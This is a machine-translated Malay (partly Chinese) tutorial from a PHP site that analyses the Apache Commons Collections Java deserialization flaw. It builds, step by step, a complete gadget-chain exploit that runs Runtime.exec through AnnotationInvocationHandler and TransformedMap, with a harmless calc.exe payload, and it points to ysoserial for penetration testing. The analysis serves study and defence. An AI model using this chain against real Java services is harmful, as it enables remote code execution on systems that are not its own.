


Contoh analisis kerentanan penyahserialisasian Apache Commons Collections
1. Pengenalan
Walaupun kelemahan deserialisasi komponen ini telah dianalisis oleh banyak artikel, ia masih perlu direkodkan di sini. Lagipun, ini penting untuk pembangunan kelemahan penyahserialisasian Java.
Apache Commons Collections ialah perpustakaan alat yang sangat biasa digunakan dalam pembangunan aplikasi Java. Ia menambahkan banyak struktur data yang berkuasa, memudahkan pembangunan aplikasi Java dan telah menjadi piawaian yang diiktiraf untuk Java untuk memproses data pengumpulan. Banyak aplikasi biasa seperti Weblogic, WebSphere, Jboss, Jenkins, dsb. semuanya menggunakan pustaka alat Apache Commons Collections Apabila kerentanan penyahserilan berlaku dalam pustaka alat, aplikasi ini turut terjejas Inilah sebabnya kerentanan penyahserilan adalah sangat serius. sebab.
2. Persekitaran ujian
jdk1.7.0_21 + commons-collections-3.1.jar
Alamat muat turun versi sejarah komponen Apache Commons Collections: http ://archive.apache.org/dist/commons/collections/binaries/, atau gunakan kebergantungan maven:
Ini telah disepadukan dalam alat eksploitasi kerentanan Java ysoserial (https://github.com/frohoff/ysoserial) Komponen ini kelemahan mengeksploitasi muatan; semasa ujian penembusan, hanya cari titik masuk penyahserialisasian Java mengikut ciri-ciri data bersiri Java (data bermula dengan rO0AB dalam format pengekodan acedesimal atau base64), dan berdasarkan Web Jika aplikasi meneka bahawa Komponen CommonsCollections mungkin wujud, ia boleh terus menggunakan alat ysoserial untuk terus menjana muatan untuk eksploitasi kelemahan.
commons-collections commons-collections
package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }
public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ... }
public class InvokerTransformer implements Transformer, Serializable { /** The method name to call */ private final String iMethodName; /** The array of reflection parameter types */ private final Class[] iParamTypes; /** The array of reflection arguments */ private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } //简化后的transform()方法,通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } ... }
package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1 = new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}); InvokerTransformer invoker2 = new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}); InvokerTransformer invoker3 = new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}); invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))); /*正常反射调用Runtime代码 Class clazz = Runtime.class; Method m1 = clazz.getMethod("getRuntime", null); Method m2 = clazz.getMethod("exec", String.class); m2.invoke(m1.invoke(clazz, null), "calc.exe"); */ } }
package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("foo"); } }
Dan terdapat juga kaedah checkSetValue() dalam kelas ini, di mana kaedah transform() memanggil objek Transformer dilaksanakan mengikut penerangan kaedah, kaedah checkSetValue() Will dipanggil apabila kaedah setValue() dipanggil:
Oleh itu, idea kami adalah untuk memulakan objek TransformedMap dengan menggunakan objek Map dan objek Transformer berniat jahat yang dibina, dan kemudian panggil kaedah setValue () mengubah suai nilai objek Map Kodnya adalah seperti berikut:
package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("foo", "bar"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); entry.setValue("test"); } }
Teruskan mencari tempat di mana pelaksanaan kaedah setValue() dicetuskan melalui penyahserilan, dan akhirnya menemuinya dalam kaedah readObject() kelas AnnotationInvocationHandler.
AnnotationInvocationHandler类
AnnotationInvocationHandler类的readObject()方法如下所示:
由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件
根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。
最终,完整漏洞利用代码如下:
package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); //Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); //entry.setValue("test"); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.close(); fos.close(); FileInputStream fis = new FileInputStream("D:/commonscollections.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } }
Atas ialah kandungan terperinci Contoh analisis kerentanan penyahserialisasian Apache Commons Collections. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Java menggunakan fungsi frekuensi() kelas Koleksi untuk mengira bilangan kejadian elemen tertentu dalam koleksi Dalam pengaturcaraan Java, kelas Koleksi ialah kelas utiliti yang mengandungi banyak kaedah statik untuk beroperasi pada koleksi. Salah satunya ialah fungsi frekuensi(), yang mengira bilangan kejadian unsur tertentu dalam koleksi. Fungsi ini sangat ringkas dan mudah untuk digunakan, memberikan kemudahan dan fleksibiliti kepada pembangun Java. Di bawah ialah contoh kod yang menunjukkan cara menggunakan

Java menggunakan fungsi binarySearch() kelas Koleksi untuk melakukan carian binari dalam koleksi tersusun ialah algoritma yang cekap untuk mencari elemen tertentu dalam koleksi tersusun. Di Java, kita boleh menggunakan fungsi binarySearch() kelas Koleksi untuk melaksanakan carian binari. Artikel ini akan memperkenalkan cara menggunakan fungsi binarySearch() untuk mencari dalam koleksi tersusun dan memberikan contoh kod khusus. Idea asas algoritma carian binari

Java menggunakan fungsi shuffle() kelas Collections untuk mengganggu susunan elemen dalam koleksi Dalam bahasa pengaturcaraan Java, kelas Collections ialah kelas alat yang menyediakan pelbagai kaedah statik untuk mengendalikan koleksi. Salah satunya ialah fungsi shuffle(), yang boleh digunakan untuk mengocok susunan elemen dalam koleksi. Artikel ini menunjukkan cara menggunakan fungsi ini dan menyediakan contoh kod yang sepadan. Pertama, kita perlu mengimport kelas Koleksi dalam pakej java.util,

Java menggunakan fungsi sort() kelas Collections untuk mengisih koleksi Di Java, kita selalunya perlu mengisih koleksi. Kelas Koleksi menyediakan fungsi sort() yang boleh mengisih koleksi dengan mudah. Artikel ini akan memperkenalkan cara menggunakan fungsi sort() kelas Koleksi untuk mengisih koleksi, dengan contoh kod. Pertama, kita perlu mengimport pakej java.util untuk menggunakan kelas Koleksi. imp

Java menggunakan fungsi max() kelas Koleksi untuk mendapatkan nilai maksimum dalam koleksi Dalam pengaturcaraan Java, kita selalunya perlu mendapatkan nilai maksimum daripada koleksi. Untuk memudahkan proses ini dan meningkatkan kebolehbacaan dan kecekapan kod, Java menyediakan fungsi max() kelas Collections. Fungsi ini membantu kami mencari nilai maksimum dalam set dengan mudah. Artikel ini akan memperkenalkan cara menggunakan fungsi max() kelas Koleksi, dengan contoh kod yang sepadan. Coll

Cara menggunakan modul koleksi untuk operasi struktur data lanjutan dalam Python 2.x Pengenalan: Dalam perpustakaan standard Python, modul koleksi menyediakan beberapa struktur data lanjutan yang boleh memudahkan pelbagai operasi. Artikel ini akan memperkenalkan beberapa struktur data yang disediakan terutamanya oleh modul koleksi dan memberikan contoh kod yang berkaitan. 1. CounterCounter ialah alat kaunter yang mudah dan berkuasa yang boleh digunakan untuk mengira setiap elemen dalam objek boleh lelaran.

1. Pengenalan Walaupun terdapat banyak artikel di Internet yang menganalisis kelemahan penyahserialisasian komponen ini, saya masih merekodkannya di sini. Lagipun, ini penting untuk pembangunan kelemahan penyahserialisasian Java. Apache Commons Collections ialah perpustakaan alat yang sangat biasa digunakan dalam pembangunan aplikasi Java. Ia menambahkan banyak struktur data yang berkuasa, memudahkan pembangunan aplikasi Java, dan telah menjadi piawaian yang diiktiraf untuk Java untuk memproses data pengumpulan. Banyak aplikasi biasa seperti Weblogic, WebSphere, Jboss, Jenkins, dsb. semuanya menggunakan perpustakaan alat Apache Commons Collections Apabila kerentanan penyahserikatan berlaku dalam pustaka alat, ini

Pembangunan Laravel: Bagaimana untuk menggunakan LaravelCollections untuk memanipulasi data pengumpulan? Koleksi ialah alat yang sangat berkuasa dan praktikal dalam pembangunan Laravel. Pembangun boleh menggunakan LaravelCollections untuk memanipulasi dan memproses data pengumpulan dengan mudah. Dalam artikel ini, kami akan memperkenalkan cara menggunakan LaravelCollections untuk memanipulasi data pengumpulan. 1. Apakah koleksi?
